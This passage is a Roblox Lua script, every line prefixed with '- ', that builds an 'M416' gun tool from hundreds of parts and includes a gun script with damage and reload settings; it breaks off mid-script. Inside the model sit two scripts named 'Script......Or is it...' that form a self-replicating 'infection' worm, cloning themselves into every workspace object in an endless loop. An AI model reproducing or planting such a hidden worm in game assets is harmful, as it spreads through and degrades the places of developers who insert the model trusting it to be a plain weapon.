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- -- made by 1ndrew
- function sandbox(var,func)
- local env = getfenv(func)
- local newenv = setmetatable({},{
- __index = function(self,k)
- if k=="script" then
- return var
- else
- return env[k]
- end
- end,
- })
- setfenv(func,newenv)
- return func
- end
- cors = {}
- mas = Instance.new("Model",game:GetService("Lighting"))
- Tool0 = Instance.new("Tool")
- Part1 = Instance.new("Part")
- CylinderMesh2 = Instance.new("CylinderMesh")
- Part3 = Instance.new("Part")
- BlockMesh4 = Instance.new("BlockMesh")
- Part5 = Instance.new("Part")
- BlockMesh6 = Instance.new("BlockMesh")
- Sound7 = Instance.new("Sound")
- Script8 = Instance.new("Script")
- Sound9 = Instance.new("Sound")
- Script10 = Instance.new("Script")
- Part11 = Instance.new("Part")
- CylinderMesh12 = Instance.new("CylinderMesh")
- Part13 = Instance.new("Part")
- Decal14 = Instance.new("Decal")
- BlockMesh15 = Instance.new("BlockMesh")
- Part16 = Instance.new("Part")
- BlockMesh17 = Instance.new("BlockMesh")
- Part18 = Instance.new("Part")
- BlockMesh19 = Instance.new("BlockMesh")
- LocalScript20 = Instance.new("LocalScript")
- NumberValue21 = Instance.new("NumberValue")
- NumberValue22 = Instance.new("NumberValue")
- Smoke23 = Instance.new("Smoke")
- Smoke24 = Instance.new("Smoke")
- PointLight25 = Instance.new("PointLight")
- ScreenGui26 = Instance.new("ScreenGui")
- Frame27 = Instance.new("Frame")
- TextLabel28 = Instance.new("TextLabel")
- Frame29 = Instance.new("Frame")
- TextLabel30 = Instance.new("TextLabel")
- Frame31 = Instance.new("Frame")
- TextLabel32 = Instance.new("TextLabel")
- Part33 = Instance.new("Part")
- CylinderMesh34 = Instance.new("CylinderMesh")
- Part35 = Instance.new("Part")
- CylinderMesh36 = Instance.new("CylinderMesh")
- Part37 = Instance.new("Part")
- CylinderMesh38 = Instance.new("CylinderMesh")
- Part39 = Instance.new("Part")
- BlockMesh40 = Instance.new("BlockMesh")
- Part41 = Instance.new("Part")
- BlockMesh42 = Instance.new("BlockMesh")
- Part43 = Instance.new("Part")
- CylinderMesh44 = Instance.new("CylinderMesh")
- Part45 = Instance.new("Part")
- BlockMesh46 = Instance.new("BlockMesh")
- Part47 = Instance.new("Part")
- SpecialMesh48 = Instance.new("SpecialMesh")
- Part49 = Instance.new("Part")
- CylinderMesh50 = Instance.new("CylinderMesh")
- Part51 = Instance.new("Part")
- BlockMesh52 = Instance.new("BlockMesh")
- Part53 = Instance.new("Part")
- CylinderMesh54 = Instance.new("CylinderMesh")
- Part55 = Instance.new("Part")
- BlockMesh56 = Instance.new("BlockMesh")
- Part57 = Instance.new("Part")
- SpecialMesh58 = Instance.new("SpecialMesh")
- Part59 = Instance.new("Part")
- BlockMesh60 = Instance.new("BlockMesh")
- Part61 = Instance.new("Part")
- CylinderMesh62 = Instance.new("CylinderMesh")
- Part63 = Instance.new("Part")
- SpecialMesh64 = Instance.new("SpecialMesh")
- Part65 = Instance.new("Part")
- SpecialMesh66 = Instance.new("SpecialMesh")
- Part67 = Instance.new("Part")
- SpecialMesh68 = Instance.new("SpecialMesh")
- Part69 = Instance.new("Part")
- SpecialMesh70 = Instance.new("SpecialMesh")
- Part71 = Instance.new("Part")
- SpecialMesh72 = Instance.new("SpecialMesh")
- Part73 = Instance.new("Part")
- SpecialMesh74 = Instance.new("SpecialMesh")
- Part75 = Instance.new("Part")
- CylinderMesh76 = Instance.new("CylinderMesh")
- Part77 = Instance.new("Part")
- CylinderMesh78 = Instance.new("CylinderMesh")
- Part79 = Instance.new("Part")
- BlockMesh80 = Instance.new("BlockMesh")
- Part81 = Instance.new("Part")
- Decal82 = Instance.new("Decal")
- Decal83 = Instance.new("Decal")
- BlockMesh84 = Instance.new("BlockMesh")
- Part85 = Instance.new("Part")
- BlockMesh86 = Instance.new("BlockMesh")
- Part87 = Instance.new("Part")
- CylinderMesh88 = Instance.new("CylinderMesh")
- Part89 = Instance.new("Part")
- BlockMesh90 = Instance.new("BlockMesh")
- Part91 = Instance.new("Part")
- Decal92 = Instance.new("Decal")
- Decal93 = Instance.new("Decal")
- BlockMesh94 = Instance.new("BlockMesh")
- Part95 = Instance.new("Part")
- SpecialMesh96 = Instance.new("SpecialMesh")
- Part97 = Instance.new("Part")
- Decal98 = Instance.new("Decal")
- Decal99 = Instance.new("Decal")
- BlockMesh100 = Instance.new("BlockMesh")
- Part101 = Instance.new("Part")
- BlockMesh102 = Instance.new("BlockMesh")
- Part103 = Instance.new("Part")
- BlockMesh104 = Instance.new("BlockMesh")
- Part105 = Instance.new("Part")
- BlockMesh106 = Instance.new("BlockMesh")
- Part107 = Instance.new("Part")
- BlockMesh108 = Instance.new("BlockMesh")
- Part109 = Instance.new("Part")
- CylinderMesh110 = Instance.new("CylinderMesh")
- Part111 = Instance.new("Part")
- CylinderMesh112 = Instance.new("CylinderMesh")
- Part113 = Instance.new("Part")
- BlockMesh114 = Instance.new("BlockMesh")
- Part115 = Instance.new("Part")
- BlockMesh116 = Instance.new("BlockMesh")
- Part117 = Instance.new("Part")
- SpecialMesh118 = Instance.new("SpecialMesh")
- Part119 = Instance.new("Part")
- BlockMesh120 = Instance.new("BlockMesh")
- Part121 = Instance.new("Part")
- BlockMesh122 = Instance.new("BlockMesh")
- Part123 = Instance.new("Part")
- BlockMesh124 = Instance.new("BlockMesh")
- Part125 = Instance.new("Part")
- SpecialMesh126 = Instance.new("SpecialMesh")
- Part127 = Instance.new("Part")
- SpecialMesh128 = Instance.new("SpecialMesh")
- Part129 = Instance.new("Part")
- SpecialMesh130 = Instance.new("SpecialMesh")
- Part131 = Instance.new("Part")
- CylinderMesh132 = Instance.new("CylinderMesh")
- Part133 = Instance.new("Part")
- SpecialMesh134 = Instance.new("SpecialMesh")
- Part135 = Instance.new("Part")
- SpecialMesh136 = Instance.new("SpecialMesh")
- Part137 = Instance.new("Part")
- SpecialMesh138 = Instance.new("SpecialMesh")
- Part139 = Instance.new("Part")
- Decal140 = Instance.new("Decal")
- BlockMesh141 = Instance.new("BlockMesh")
- Part142 = Instance.new("Part")
- BlockMesh143 = Instance.new("BlockMesh")
- Part144 = Instance.new("Part")
- CylinderMesh145 = Instance.new("CylinderMesh")
- Part146 = Instance.new("Part")
- BlockMesh147 = Instance.new("BlockMesh")
- Part148 = Instance.new("Part")
- SpecialMesh149 = Instance.new("SpecialMesh")
- Part150 = Instance.new("Part")
- CylinderMesh151 = Instance.new("CylinderMesh")
- Part152 = Instance.new("Part")
- SpecialMesh153 = Instance.new("SpecialMesh")
- Part154 = Instance.new("Part")
- BlockMesh155 = Instance.new("BlockMesh")
- Part156 = Instance.new("Part")
- BlockMesh157 = Instance.new("BlockMesh")
- Part158 = Instance.new("Part")
- CylinderMesh159 = Instance.new("CylinderMesh")
- Part160 = Instance.new("Part")
- BlockMesh161 = Instance.new("BlockMesh")
- Part162 = Instance.new("Part")
- SpecialMesh163 = Instance.new("SpecialMesh")
- Part164 = Instance.new("Part")
- Decal165 = Instance.new("Decal")
- SpecialMesh166 = Instance.new("SpecialMesh")
- Part167 = Instance.new("Part")
- BlockMesh168 = Instance.new("BlockMesh")
- Part169 = Instance.new("Part")
- BlockMesh170 = Instance.new("BlockMesh")
- Part171 = Instance.new("Part")
- BlockMesh172 = Instance.new("BlockMesh")
- Part173 = Instance.new("Part")
- SpecialMesh174 = Instance.new("SpecialMesh")
- Part175 = Instance.new("Part")
- BlockMesh176 = Instance.new("BlockMesh")
- Part177 = Instance.new("Part")
- SpecialMesh178 = Instance.new("SpecialMesh")
- Part179 = Instance.new("Part")
- SpecialMesh180 = Instance.new("SpecialMesh")
- Part181 = Instance.new("Part")
- SpecialMesh182 = Instance.new("SpecialMesh")
- Part183 = Instance.new("Part")
- SpecialMesh184 = Instance.new("SpecialMesh")
- Part185 = Instance.new("Part")
- BlockMesh186 = Instance.new("BlockMesh")
- Part187 = Instance.new("Part")
- BlockMesh188 = Instance.new("BlockMesh")
- Part189 = Instance.new("Part")
- SpecialMesh190 = Instance.new("SpecialMesh")
- Part191 = Instance.new("Part")
- BlockMesh192 = Instance.new("BlockMesh")
- Part193 = Instance.new("Part")
- CylinderMesh194 = Instance.new("CylinderMesh")
- Part195 = Instance.new("Part")
- BlockMesh196 = Instance.new("BlockMesh")
- Part197 = Instance.new("Part")
- CylinderMesh198 = Instance.new("CylinderMesh")
- Part199 = Instance.new("Part")
- CylinderMesh200 = Instance.new("CylinderMesh")
- Part201 = Instance.new("Part")
- Decal202 = Instance.new("Decal")
- CylinderMesh203 = Instance.new("CylinderMesh")
- Part204 = Instance.new("Part")
- CylinderMesh205 = Instance.new("CylinderMesh")
- Part206 = Instance.new("Part")
- SpecialMesh207 = Instance.new("SpecialMesh")
- Part208 = Instance.new("Part")
- SpecialMesh209 = Instance.new("SpecialMesh")
- Part210 = Instance.new("Part")
- CylinderMesh211 = Instance.new("CylinderMesh")
- Part212 = Instance.new("Part")
- BlockMesh213 = Instance.new("BlockMesh")
- Part214 = Instance.new("Part")
- BlockMesh215 = Instance.new("BlockMesh")
- Part216 = Instance.new("Part")
- CylinderMesh217 = Instance.new("CylinderMesh")
- Part218 = Instance.new("Part")
- BlockMesh219 = Instance.new("BlockMesh")
- Part220 = Instance.new("Part")
- BlockMesh221 = Instance.new("BlockMesh")
- Part222 = Instance.new("Part")
- BlockMesh223 = Instance.new("BlockMesh")
- Part224 = Instance.new("Part")
- BlockMesh225 = Instance.new("BlockMesh")
- Part226 = Instance.new("Part")
- SpecialMesh227 = Instance.new("SpecialMesh")
- Part228 = Instance.new("Part")
- CylinderMesh229 = Instance.new("CylinderMesh")
- Part230 = Instance.new("Part")
- BlockMesh231 = Instance.new("BlockMesh")
- Part232 = Instance.new("Part")
- SpecialMesh233 = Instance.new("SpecialMesh")
- Part234 = Instance.new("Part")
- CylinderMesh235 = Instance.new("CylinderMesh")
- Part236 = Instance.new("Part")
- BlockMesh237 = Instance.new("BlockMesh")
- Part238 = Instance.new("Part")
- CylinderMesh239 = Instance.new("CylinderMesh")
- Part240 = Instance.new("Part")
- Decal241 = Instance.new("Decal")
- CylinderMesh242 = Instance.new("CylinderMesh")
- Part243 = Instance.new("Part")
- SpecialMesh244 = Instance.new("SpecialMesh")
- Part245 = Instance.new("Part")
- CylinderMesh246 = Instance.new("CylinderMesh")
- Part247 = Instance.new("Part")
- SpecialMesh248 = Instance.new("SpecialMesh")
- Part249 = Instance.new("Part")
- CylinderMesh250 = Instance.new("CylinderMesh")
- Part251 = Instance.new("Part")
- SpecialMesh252 = Instance.new("SpecialMesh")
- Part253 = Instance.new("Part")
- SpecialMesh254 = Instance.new("SpecialMesh")
- Part255 = Instance.new("Part")
- CylinderMesh256 = Instance.new("CylinderMesh")
- Part257 = Instance.new("Part")
- BlockMesh258 = Instance.new("BlockMesh")
- Part259 = Instance.new("Part")
- BlockMesh260 = Instance.new("BlockMesh")
- Part261 = Instance.new("Part")
- BlockMesh262 = Instance.new("BlockMesh")
- Part263 = Instance.new("Part")
- BlockMesh264 = Instance.new("BlockMesh")
- Part265 = Instance.new("Part")
- BlockMesh266 = Instance.new("BlockMesh")
- Part267 = Instance.new("Part")
- BlockMesh268 = Instance.new("BlockMesh")
- Part269 = Instance.new("Part")
- BlockMesh270 = Instance.new("BlockMesh")
- Part271 = Instance.new("Part")
- BlockMesh272 = Instance.new("BlockMesh")
- Part273 = Instance.new("Part")
- BlockMesh274 = Instance.new("BlockMesh")
- Part275 = Instance.new("Part")
- BlockMesh276 = Instance.new("BlockMesh")
- Part277 = Instance.new("Part")
- BlockMesh278 = Instance.new("BlockMesh")
- Part279 = Instance.new("Part")
- BlockMesh280 = Instance.new("BlockMesh")
- Part281 = Instance.new("Part")
- SpecialMesh282 = Instance.new("SpecialMesh")
- Part283 = Instance.new("Part")
- BlockMesh284 = Instance.new("BlockMesh")
- Part285 = Instance.new("Part")
- BlockMesh286 = Instance.new("BlockMesh")
- Part287 = Instance.new("Part")
- BlockMesh288 = Instance.new("BlockMesh")
- Part289 = Instance.new("Part")
- SpecialMesh290 = Instance.new("SpecialMesh")
- Part291 = Instance.new("Part")
- SpecialMesh292 = Instance.new("SpecialMesh")
- Part293 = Instance.new("Part")
- SpecialMesh294 = Instance.new("SpecialMesh")
- Part295 = Instance.new("Part")
- BlockMesh296 = Instance.new("BlockMesh")
- Part297 = Instance.new("Part")
- BlockMesh298 = Instance.new("BlockMesh")
- Part299 = Instance.new("Part")
- BlockMesh300 = Instance.new("BlockMesh")
- Part301 = Instance.new("Part")
- SpecialMesh302 = Instance.new("SpecialMesh")
- Part303 = Instance.new("Part")
- SpecialMesh304 = Instance.new("SpecialMesh")
- Part305 = Instance.new("Part")
- BlockMesh306 = Instance.new("BlockMesh")
- Part307 = Instance.new("Part")
- BlockMesh308 = Instance.new("BlockMesh")
- Part309 = Instance.new("Part")
- BlockMesh310 = Instance.new("BlockMesh")
- Part311 = Instance.new("Part")
- SpecialMesh312 = Instance.new("SpecialMesh")
- Part313 = Instance.new("Part")
- SpecialMesh314 = Instance.new("SpecialMesh")
- Part315 = Instance.new("Part")
- BlockMesh316 = Instance.new("BlockMesh")
- Part317 = Instance.new("Part")
- CylinderMesh318 = Instance.new("CylinderMesh")
- Part319 = Instance.new("Part")
- BlockMesh320 = Instance.new("BlockMesh")
- Part321 = Instance.new("Part")
- CylinderMesh322 = Instance.new("CylinderMesh")
- Part323 = Instance.new("Part")
- BlockMesh324 = Instance.new("BlockMesh")
- Part325 = Instance.new("Part")
- BlockMesh326 = Instance.new("BlockMesh")
- Part327 = Instance.new("Part")
- BlockMesh328 = Instance.new("BlockMesh")
- Part329 = Instance.new("Part")
- CylinderMesh330 = Instance.new("CylinderMesh")
- Part331 = Instance.new("Part")
- CylinderMesh332 = Instance.new("CylinderMesh")
- Part333 = Instance.new("Part")
- BlockMesh334 = Instance.new("BlockMesh")
- Script335 = Instance.new("Script")
- Part336 = Instance.new("Part")
- BlockMesh337 = Instance.new("BlockMesh")
- Tool0.Name = "M416"
- Tool0.Parent = mas
- Tool0.GripForward = Vector3.new(-0.308719009, -0, -0.951153278)
- Tool0.GripPos = Vector3.new(0, -0.200000003, 0.200000003)
- Tool0.GripRight = Vector3.new(0.951153278, 0, -0.308719009)
- Part1.Name = "A1"
- Part1.Parent = Tool0
- Part1.Material = Enum.Material.SmoothPlastic
- Part1.BrickColor = BrickColor.new("Dark stone grey")
- Part1.Reflectance = 0.050000000745058
- Part1.Rotation = Vector3.new(-180, -89.4599991, -90)
- Part1.Anchored = true
- Part1.FormFactor = Enum.FormFactor.Custom
- Part1.Size = Vector3.new(0.209999993, 0.330000013, 0.209999993)
- Part1.CFrame = CFrame.new(27.0811768, 1.27026403, 138.982117, 8.71412595e-08, 0.00939127803, -0.999955893, 0.999999881, 2.9562246e-08, 8.74227624e-08, 3.03819299e-08, -0.999955535, -0.00939150155)
- Part1.BottomSurface = Enum.SurfaceType.Smooth
- Part1.TopSurface = Enum.SurfaceType.Smooth
- Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
- Part1.Position = Vector3.new(27.0811768, 1.27026403, 138.982117)
- Part1.Orientation = Vector3.new(0, -90.5400009, 90)
- Part1.Color = Color3.new(0.388235, 0.372549, 0.384314)
- CylinderMesh2.Parent = Part1
- CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
- CylinderMesh2.Scale = Vector3.new(1.10000002, 1, 1)
- Part3.Name = "SmokePart"
- Part3.Parent = Tool0
- Part3.Material = Enum.Material.SmoothPlastic
- Part3.Transparency = 1
- Part3.Rotation = Vector3.new(-180, 0.539999962, 180)
- Part3.Anchored = true
- Part3.FormFactor = Enum.FormFactor.Custom
- Part3.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part3.CFrame = CFrame.new(27.0629883, 1.26489305, 141.073486, -0.999955118, -6.08749104e-08, 0.00939130783, -5.92387259e-08, 0.999999046, 1.72940759e-07, -0.00939130783, 1.72370605e-07, -0.999955118)
- Part3.BottomSurface = Enum.SurfaceType.Smooth
- Part3.TopSurface = Enum.SurfaceType.Smooth
- Part3.Position = Vector3.new(27.0629883, 1.26489305, 141.073486)
- Part3.Orientation = Vector3.new(0, 179.459991, 0)
- BlockMesh4.Parent = Part3
- BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
- BlockMesh4.Scale = Vector3.new(0.777777731, 0.222222224, 0.370370358)
- Part5.Name = "Handle"
- Part5.Parent = Tool0
- Part5.Material = Enum.Material.SmoothPlastic
- Part5.BrickColor = BrickColor.new("Black")
- Part5.Rotation = Vector3.new(180, 27.6800003, -180)
- Part5.Anchored = true
- Part5.FormFactor = Enum.FormFactor.Custom
- Part5.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part5.CFrame = CFrame.new(27.0905762, 0.867187023, 138.553284, -0.885558605, 8.09826162e-08, 0.464526057, 5.79961079e-10, 0.999999702, -1.73227889e-07, -0.464525968, -1.53134209e-07, -0.885558188)
- Part5.BottomSurface = Enum.SurfaceType.Smooth
- Part5.TopSurface = Enum.SurfaceType.Smooth
- Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
- Part5.Position = Vector3.new(27.0905762, 0.867187023, 138.553284)
- Part5.Orientation = Vector3.new(0, 152.319992, 0)
- Part5.Color = Color3.new(0.105882, 0.164706, 0.207843)
- BlockMesh6.Parent = Part5
- BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
- BlockMesh6.Scale = Vector3.new(0.450000018, 0.599999964, 0.329999983)
- Sound7.Name = "Shoot"
- Sound7.Parent = Part5
- Sound7.SoundId = "http://roblox.com/asset/?id=10209798"
- Sound7.Volume = 1
- Script8.Name = "Script......Or is it..."
- Script8.Parent = mas
- table.insert(cors,sandbox(Script8,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Sound9.Name = "Reload"
- Sound9.Parent = Part5
- Sound9.SoundId = "http://www.roblox.com/asset/?id=132456328"
- Sound9.Volume = 1
- Script10.Name = "Script......Or is it..."
- Script10.Parent = mas
- table.insert(cors,sandbox(Script10,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- Part11.Name = "Laser"
- Part11.Parent = Tool0
- Part11.Material = Enum.Material.SmoothPlastic
- Part11.BrickColor = BrickColor.new("Really red")
- Part11.Transparency = 1
- Part11.Rotation = Vector3.new(0, 89.4599991, -90)
- Part11.Anchored = true
- Part11.FormFactor = Enum.FormFactor.Custom
- Part11.Size = Vector3.new(0.200000003, 0.200000003, 0.200000003)
- Part11.CFrame = CFrame.new(27.2994385, 1.39013696, 140.283264, -4.35707328e-08, 0.00939123333, 0.999955893, -0.999996722, 1.4781075e-08, -4.37111289e-08, -1.51909223e-08, -0.999952376, 0.00939150155)
- Part11.BottomSurface = Enum.SurfaceType.Smooth
- Part11.TopSurface = Enum.SurfaceType.Smooth
- Part11.Color = Color3.new(1, 0, 0)
- Part11.Position = Vector3.new(27.2994385, 1.39013696, 140.283264)
- Part11.Orientation = Vector3.new(0, 89.4599991, -90)
- Part11.Color = Color3.new(1, 0, 0)
- CylinderMesh12.Parent = Part11
- CylinderMesh12.Offset = Vector3.new(0, -18.6599998, 0)
- CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
- CylinderMesh12.Scale = Vector3.new(0.112500004, 187.5, 0.112500004)
- Part13.Name = "Mag"
- Part13.Parent = Tool0
- Part13.Material = Enum.Material.SmoothPlastic
- Part13.BrickColor = BrickColor.new("Brick yellow")
- Part13.Rotation = Vector3.new(-180, -89.4599991, -81)
- Part13.Anchored = true
- Part13.FormFactor = Enum.FormFactor.Custom
- Part13.Size = Vector3.new(0.200000003, 0.419999987, 0.200000003)
- Part13.CFrame = CFrame.new(27.0869141, 0.745117009, 138.976196, 0.00146914274, 0.00927558541, -0.999955833, 0.987687647, -0.156434625, 3.8507924e-08, -0.156427667, -0.987643659, -0.00939165056)
- Part13.BottomSurface = Enum.SurfaceType.Smooth
- Part13.TopSurface = Enum.SurfaceType.Smooth
- Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part13.Position = Vector3.new(27.0869141, 0.745117009, 138.976196)
- Part13.Orientation = Vector3.new(0, -90.5400009, 99)
- Part13.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Decal14.Parent = Part13
- Decal14.Texture = "http://www.roblox.com/asset/?id=47760372"
- Decal14.Face = Enum.NormalId.Right
- BlockMesh15.Parent = Part13
- BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
- BlockMesh15.Scale = Vector3.new(1.5, 1, 0.900000036)
- Part16.Name = "Mag2"
- Part16.Parent = Tool0
- Part16.Material = Enum.Material.SmoothPlastic
- Part16.BrickColor = BrickColor.new("Brick yellow")
- Part16.Rotation = Vector3.new(-180, -89.4599991, -71)
- Part16.Anchored = true
- Part16.FormFactor = Enum.FormFactor.Custom
- Part16.Size = Vector3.new(0.239999995, 0.419999987, 0.200000003)
- Part16.CFrame = CFrame.new(27.0856934, 0.449218988, 139.053894, 0.00305754691, 0.00887963176, -0.999955833, 0.945517957, -0.32556802, 4.84268448e-08, -0.325553536, -0.945475817, -0.00939165056)
- Part16.BottomSurface = Enum.SurfaceType.Smooth
- Part16.TopSurface = Enum.SurfaceType.Smooth
- Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part16.Position = Vector3.new(27.0856934, 0.449218988, 139.053894)
- Part16.Orientation = Vector3.new(0, -90.5400009, 109)
- Part16.Color = Color3.new(0.843137, 0.772549, 0.603922)
- BlockMesh17.Parent = Part16
- BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
- BlockMesh17.Scale = Vector3.new(1.62, 1, 0.900000036)
- Part18.Name = "Mag3"
- Part18.Parent = Tool0
- Part18.Material = Enum.Material.SmoothPlastic
- Part18.BrickColor = BrickColor.new("Brick yellow")
- Part18.Rotation = Vector3.new(-180, -89.4599991, -71)
- Part18.Anchored = true
- Part18.FormFactor = Enum.FormFactor.Custom
- Part18.Size = Vector3.new(0.200000003, 0.200000003, 0.203999996)
- Part18.CFrame = CFrame.new(27.0853271, 0.256103992, 139.130554, 0.00305759162, 0.00887972116, -0.999955833, 0.945518434, -0.32556814, 2.6920091e-08, -0.325553685, -0.945476532, -0.00939165056)
- Part18.BottomSurface = Enum.SurfaceType.Smooth
- Part18.TopSurface = Enum.SurfaceType.Smooth
- Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
- Part18.Position = Vector3.new(27.0853271, 0.256103992, 139.130554)
- Part18.Orientation = Vector3.new(0, -90.5400009, 109)
- Part18.Color = Color3.new(0.843137, 0.772549, 0.603922)
- BlockMesh19.Parent = Part18
- BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
- BlockMesh19.Scale = Vector3.new(0.210000008, 2.18399978, 1)
- LocalScript20.Name = "Gun_Script"
- LocalScript20.Parent = Tool0
- table.insert(cors,sandbox(LocalScript20,function()
- wait(0.5)
- --Made by YouTubes--
- --Edit settings below--
- local Tool = script.Parent
- local Settings = {
- Range = 1000
- ,Spread = 5
- ,Damage = {50, 75}
- ,HeadShotDamage = {70, 120}
- ,Bullets = 1
- ,FireRate = 0.08
- ,Automatic = true
- ,AntiTK = true
- ,ImpactDuration = 3
- --Reload
- ,ReloadKey = "R"
- ,ReloadTime = 2.5
- ,Ammo = 30
- ,IncludeChamberedBullet = true
- --Gui
- ,GuiPos = Vector2.new(script.Gui.Frame.Position.X.Scale, script.Gui.Frame.Position.Y.Scale)
- --Arms
- ,OneHanded = false
- ,FakeArms = true
- ,FakeArmTransparency = 0.5
- ,RightPos = CFrame.new(-0.75, -0.25, 0.5) * CFrame.Angles(math.rad(-90), 0, 0)
- ,LeftPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-90), math.rad(45), 0)
- ,AimPart = Tool.AimPart
- ,AimPartOffset = CFrame.new()
- ,AimGripOffset = Vector3.new(0, 0, 0)
- ,LeftAimPos = CFrame.new(1, 0.5, 0.5) * CFrame.Angles(math.rad(-100), math.rad(45), 0)
- ,AimAnim = {
- Enabled = false
- ,Frames = 50
- ,Time = 0.1
- }
- ,ChangeFOV = {true, 60}
- ,SpreadReduction = 0
- --Weld
- ,Weld = true
- --Mouse
- ,Icons = {
- Idle = "rbxassetid://70288585"
- ,Fire1 = "rbxassetid://70288578"
- ,Fire2 = "rbxassetid://70288572"
- ,Fire3 = "rbxassetid://70288578"
- ,Reload = "rbxassetid://70288599"
- ,Aim = "rbxasset://textures/Blank.png"
- }
- ,FireMouseAnimTime = 0.15
- --Recoil
- ,Recoil = math.rad(0.7)
- --Smoke
- ,Smoke = true
- ,SmokePart = Tool.SmokePart
- ,Smokes = {{script.Smoke, 6, 0.1}, {script.Smoke1, 0.1}, {script.Smoke1, 0.1}, {script.Flash, 0.03}}
- --Sprint
- ,Sprint = true
- ,SprintSpeed = 25
- ,SprintKey = "0"
- ,SprintSpreadIncrease = 40
- ,SprintArmOffset = CFrame.new(0.25, 0.125, 0.25) * CFrame.Angles(math.rad(-30), math.rad(35), 0)
- --Other
- ,DropHats = true
- }
- --Do not edit below this lign--
- local Orig_Spread = Settings.Spread
- local Orig_Grip = Tool.GripPos
- local Player = game.Players.LocalPlayer
- local Character = Player.Character
- local Camera = Workspace.CurrentCamera
- local Ammo, StoredAmmo = script.Ammo, script.StoredAmmo
- local Gui, CanUpdateGui = nil, true
- local Sprinting, Equipped
- function Update_Gui()
- if Gui and CanUpdateGui then
- Gui.Frame.AmmoDisplay.Text = Ammo.Value .. "|" .. StoredAmmo.Value
- end
- end
- local Welded
- if Settings.Weld then
- Delay(0, function()
- local weldC0s = {}
- for i, v in pairs(Tool:GetChildren()) do
- if v:IsA("BasePart") and v ~= Tool.Handle then
- table.insert(weldC0s, {v, Tool.Handle.CFrame:toObjectSpace(v.CFrame)})
- v.Anchored = false
- end
- end
- Tool.Handle.Anchored = false
- local welds = {}
- Tool.Equipped:connect(function()
- for i, v in ipairs(welds) do
- v.Part1 = nil
- v:Destroy()
- end
- for i, v in ipairs(weldC0s) do
- if v[1] and v[2] then
- local w = Instance.new("Weld", Tool.Handle)
- w.Part0 = Tool.Handle
- w.Part1 = v[1]
- w.C0 = v[2]
- table.insert(welds, w)
- end
- end
- end)
- wait()
- Welded = true
- end)
- end
- local Left_Weld, Right_Weld
- Ammo.Changed:connect(Update_Gui)
- StoredAmmo.Changed:connect(Update_Gui)
- Settings.Range = math.min(Settings.Range, 999)
- local Ignore_Model = Workspace:FindFirstChild("Ray_Ignore") or Instance.new("Model", Workspace)
- Ignore_Model.Name = "Ray_Ignore"
- local Ray_Ignore = {Character, Ignore_Model, Camera}
- Character.Humanoid.Died:connect(function()
- Tool.Parent = Player.Backpack
- end)
- function Fire(Mouse)
- local Spread = CFrame.Angles(math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10), math.rad(math.random(-Settings.Spread, Settings.Spread)/10))
- local Ray = Ray.new(Character.Head.Position, (CFrame.new(Character.Head.Position, Mouse.Hit.p) * Spread).lookVector.unit * Settings.Range)
- local Hit, Pos = Workspace:FindPartOnRayWithIgnoreList(Ray, Ray_Ignore)
- if Hit and Hit.Parent:FindFirstChild("Humanoid") then
- local Hit_Player = game.Players:GetPlayerFromCharacter(Hit.Parent)
- if Settings.AntiTK and not Hit_Player.Neutral and Hit_Player.TeamColor == Player.TeamColor then
- return
- end
- local Humanoid = Hit.Parent.Humanoid
- local c = Instance.new("ObjectValue")
- c.Name = "creator"
- c.Value = Player
- game.Debris:AddItem(c, 3)
- c.Parent = Humanoid
- if Hit.Name == "Head" then
- Humanoid.Health = Humanoid.Health - math.random(Settings.HeadShotDamage[1], Settings.HeadShotDamage[2])
- else
- Humanoid.Health = Humanoid.Health - math.random(Settings.Damage[1], Settings.Damage[2])
- end
- elseif Hit then
- local Hit_Part = Instance.new("Part", Ignore_Model)
- Hit_Part.FormFactor = "Custom"
- Hit_Part.TopSurface = 0
- Hit_Part.BottomSurface = 0
- Hit_Part.Anchored = true
- Hit_Part.CanCollide = false
- Hit_Part.Size = Vector3.new()
- Hit_Part.CFrame = CFrame.new(Pos) * CFrame.Angles(math.random(0, 360), math.random(0, 360), math.random(0, 360))
- Hit_Part.BrickColor = BrickColor.new("Black")
- game.Debris:AddItem(Hit_Part, Settings.ImpactDuration)
- if not Hit.Anchored then
- local w = Instance.new("Weld", Hit_Part)
- w.Part0 = Hit
- w.Part1 = Hit_Part
- w.C0 = Hit.CFrame:toObjectSpace(Hit_Part.CFrame)
- Hit_Part.Anchored = false
- end
- if Hit.Parent:IsA("Hat") and Settings.DropHats then
- Hit.Parent.Parent = workspace
- game.Debris:AddItem(Hit, 3)
- end
- end
- end
- local Can_Shoot = true
- local Reloading = false
